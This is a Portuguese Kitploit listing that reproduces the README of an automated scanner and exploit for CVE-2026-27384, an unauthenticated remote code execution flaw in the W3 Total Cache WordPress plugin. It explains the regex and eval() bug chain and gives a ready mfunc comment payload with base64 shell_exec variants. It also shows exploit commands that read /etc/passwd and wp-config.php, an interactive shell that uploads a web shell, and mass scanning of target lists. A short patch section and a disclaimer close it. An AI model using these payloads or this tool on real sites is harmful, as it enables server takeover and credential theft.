Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-27384 — Scanner e exploit automatizados para CVE-2026-27384, um RCE não autenticado no W3 Total Cache via injeção mfunc/eval(). Inclui autodetecção, 48 variantes de payload, shell interativo e varredura em lote. | Kitploit
Ferramentas/GitHubGitHub/xxconi/cve-2026-27384
Geração de PayloadsAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubxxconi/cve-2026-27384

CVE-2026-27384

Scanner e exploit automatizados para CVE-2026-27384, um RCE não autenticado no W3 Total Cache via injeção mfunc/eval(). Inclui autodetecção, 48 variantes de payload, shell interativo e varredura em lote.

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-27384

CVE-2026-27384 — Scanner RCE para W3 Total Cache mfunc/eval()

Plugin: W3 Total Cache Plugin Slug: w3-total-cache CVE ID: CVE-2026-27384 Pontuação CVSS: 9.8 (Crítico) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo de vulnerabilidade: Execução Arbitrária de Código sem Autenticação (Injeção de Código via eval()) Versões afetadas: <= 2.9.1 Versão corrigida: 2.9.2 Data de publicação: 24 de fevereiro de 2026 Pesquisador: CODE WHITE GmbH


📌 Resumo da Vulnerabilidade

O recurso Dynamic Fragment Caching do plugin W3 Total Cache (sistema mfunc/mclude) executa código PHP embutido em comentários HTML via eval(). O token , que deveria proteger esse recurso, pode ser contornado devido à combinação de múltiplos erros de código.

W3TC_DYNAMIC_SECURITY

Resultado: Sem exigir autenticação, apenas enviando um comentário no WordPress, é possível executar código PHP arbitrário no servidor.


🔍 Tabela Resumo da Vulnerabilidade

CampoValor
CVE IDCVE-2026-27384
CVSS9.8 Crítico
TipoInjeção de Código → RCE (CWE-94)
Versão Afetada<= 2.9.1
Versão Corrigida2.9.2
AutenticaçãoNão necessária
Interação do UsuárioNão necessária
Pré-requisitoW3TC_DYNAMIC_SECURITY deve conter metacaractere regex

⚙️ Análise Técnica

Recurso: mfunc / mclude

O recurso Dynamic Fragment Caching do W3TC permite que desenvolvedores insiram código PHP no HTML da página por meio de tags de comentário especiais:

root@kitploit:~
<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

O W3TC processa essas tags ao servir a página do cache: o PHP embutido é executado com eval() e sua saída substitui o bloco de comentário.


Bug 1 — Falta de preg_quote() (PgCache_ContentGrabber.php)

root@kitploit:~
// VULNERÁVEL — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY é inserido diretamente na regex
        // SEM preg_quote() → o token se comporta como padrão regex
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

Se o token for '.', a regex vira <!--\s*mfunc\s*.(.*)--> → qualquer caractere único passa a valer como token.


Bug 2 — Incompatibilidade \s* vs \s+

FunçãoPadrãoComportamento
_parse_dynamic() — executamfunc\s*TOKENAceita 0 espaços ✅
strip_dynamic_fragment_tags_from_string() — removemfunc\s+TOKENExige pelo menos 1 espaço ❌
root@kitploit:~
Payload do atacante:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      SEM ESPAÇO entre mfunc e o token

função strip:      \s+ → não corresponde → payload PERMANECE
regex de execução: \s* → corresponde  → eval() EXECUTA

Bug 3 — Validação de Token Ausente (_has_dynamic())

root@kitploit:~
// VULNERÁVEL — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Apenas verifica defined() — sem verificação de empty() ou metacaractere
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

Cadeia de Ataque Completa

root@kitploit:~
W3TC_DYNAMIC_SECURITY = '.'   (metacaractere regex — qualquer caractere)
        │
        ▼
Atacante envia comentário:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Padrão: mfunc\s+[^\s]+  →  exige \s+, sem espaço → IGNORADO ✅
        │
        ▼
Comentário é salvo no banco de dados, página é armazenada em cache
        │
        ▼
Segunda solicitação HTTP → W3TC serve do cache
  _has_dynamic() → mfunc\s*.  → 'A' corresponde → retorna true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Padrão: mfunc\s*.  → 'A' corresponde
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ RCE sem autenticação ✓

🔴 Impacto do Ataque

Sem autenticação, é possível executar código PHP arbitrário no servidor com as permissões do servidor web:

  • ✅ Comprometimento total do servidor
  • ✅ Ler/gravar/excluir arquivos do WordPress e banco de dados
  • ✅ Instalar web shell / backdoor
  • ✅ Pivot para a rede interna
  • ✅ Vazar credenciais, chaves de API e dados de usuários

🚀 Instalação

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
beautifulsoup4

📖 Uso

Modos

ModoDescrição
autoEscaneia o site → encontra página de comentários → explora (padrão)
exploitExplora diretamente — com URL de post
shellShell interativo
detectApenas detecção do W3TC

Modo Auto — Tudo Automático

root@kitploit:~
python w3tc_rce.py https://hedef.com

O scanner faz o seguinte:

  1. Verifica se o W3TC está instalado
  2. Encontra páginas com formulário de comentário via sitemap + acompanhamento de links
  3. Testa 48 variantes de payload em cada página
  4. Se bem-sucedido, oferece abrir um shell

Modo Exploit — Direto

root@kitploit:~
# comando id
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# ler /etc/passwd
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# ler wp-config.php
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# Post ID manual
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

Modo Shell — Interativo

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

Quando o shell abre, whoami, hostname, pwd e uname -a são executados automaticamente:

root@kitploit:~
=================================================================
  CVE-2026-27384 — Shell Interativo W3TC mfunc
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Comandos: exit | upload <local> <remoto> | download <remoto>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

Modo Detect — Apenas Detecção

root@kitploit:~
python w3tc_rce.py https://hedef.com --mode detect
root@kitploit:~
[+] W3TC instalado!
    Versão : 2.9.1
    Cache  : True
[!] Versão 2.9.1 VULNERÁVEL (<= 2.9.1)!

Varredura em Massa

root@kitploit:~
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

Com Proxy (Burp Suite)

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ Todos os Parâmetros

ParâmetroCurtoDescriçãoPadrão
url—URL de alvo único—
--list-lArquivo com lista de alvos—
--mode—Modo de operaçãoauto
--cmd—Comando a executarid
--post-url—URL da página com comentário—
--post-id—Post ID do WordPress—
--max-pages—Máx. de páginas do spider50
--threads-tNúmero de threads10
--output-oArquivo de saídaw3tc_results.txt
--proxy—URL do proxy—
--no-color—Saída sem coresFalse
--verbose-vSaída detalhadaFalse

💀 Estrutura do Payload

Bypass mfunc Sem Espaço

root@kitploit:~
Tag padrão (capturada pelo strip):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          há espaço → \s+ corresponde → strip remove

Tag de bypass (ignora o strip, eval() executa):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
        SEM espaço → \s+ não corresponde → strip IGNORA
                      \s* corresponde → eval() EXECUTA

Codificação Base64

O código PHP é codificado em base64 para evitar problemas de codificação HTML:

root@kitploit:~
# Comando: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

48 Variantes de Payload

GrupoFunçãoCaractere de BypassCodificação
b64_shell_execshell_execA, B, X, 1Base64
b64_systemsystemA, B, X, 1Base64
b64_passthrupassthruA, B, X, 1Base64
b64_execexecA, B, X, 1Base64
b64_popenpopenA, B, X, 1Base64
raw_*Todas as funçõesA, B, X, 1Bruto

🔄 Fluxo do Exploit

root@kitploit:~
1. Detecção do W3TC
   └─ readme.txt, header, body, diretório do plugin

2. Detecção do Sistema de Comentários
   └─ Formulário HTML, REST API, post ID

3. Injeção do Payload (48 variantes)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ Formulário HTML: POST /wp-comments-post.php

4. Gatilho de Cache
   ├─ 1ª solicitação → cache miss → página renderizada → armazenada em cache
   └─ 2ª solicitação → cache hit → _parse_dynamic() → eval()

5. Extração da Saída
   └─ uid=, whoami, /path/, passwd, wp-config...

🖥️ Exemplos de Saída

Modo Auto

root@kitploit:~
=================================================================
  CVE-2026-27384 — RCE W3 Total Cache mfunc/eval()
=================================================================

[*] Alvo: https://hedef.com
  Crawling: [████████████████████] 100% (50/50) | 8.3/s

[+] Página de comentários: https://hedef.com/?p=1 (post_id=1)

  [1] Detecção do W3TC...
[+] W3TC encontrado! Versão: 2.9.1
  [2] Detecção do sistema de comentários...
[+] Post ID: 1 | Form: True | REST: True
  [3] Injeção do payload (id)...
[i] 48 variantes de payload prontas
  [4] Acionando cache...

[★] RCE BEM-SUCEDIDO!
=========================================================
  URL     : https://hedef.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  Comando : id
  Saída   : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] Resultados salvos → w3tc_results.txt
[?] Abrir shell? (s/n):

Resumo da Varredura em Massa

root@kitploit:~
Scanning: [████████████████████] 100% (100/100) | 4.2/s

[★] 7 vulnerabilidades encontradas!
[+] Resultados salvos → w3tc_results.txt

📁 Estrutura de Arquivos

root@kitploit:~
cve-2026-27384/
├── w3tc_rce.py        # Scanner principal
├── requirements.txt   # Dependências
└── README.md          # Este arquivo

🛡️ Defesa / Correção

MedidaDescrição
Atualização do PluginAtualizar para W3 Total Cache 2.9.2+
Desativar mfuncSe W3TC_DYNAMIC_SECURITY não estiver definido, o recurso não funciona
Token ForteO token deve conter apenas caracteres alfanuméricos ([a-zA-Z0-9_]+)

Exemplo de token seguro (wp-config.php):

root@kitploit:~
// ❌ Perigoso — metacaractere regex
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ Seguro — alfanumérico
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

Correção do 2.9.2 (_parse_dynamic()):

root@kitploit:~
// CORRIGIDO — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ preg_quote adicionado
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (pelo menos 1 espaço)
    ...
);

⚠️ Aviso Legal

Esta ferramenta e PoC foram elaboradas apenas para uso em sistemas autorizados, fins educacionais e dentro do escopo de testes de penetração. O uso em sistemas sem autorização constitui crime sob os Artigos 243-245 do Código Penal Turco e leis internacionais de crimes cibernéticos. O desenvolvedor não aceita nenhuma responsabilidade legal decorrente do uso indevido da ferramenta.


📄 Licença

Licença MIT — Apenas para fins educacionais e de pesquisa.


🔗 Referências

  • Wordfence Advisory
  • W3 Total Cache Plugin
  • CODE WHITE GmbH
  • CWE-94: Improper Control of Code Generation
  • OWASP Code Injection
  • PHP eval() Security
  • PHP preg_quote()
Baixar ferramenta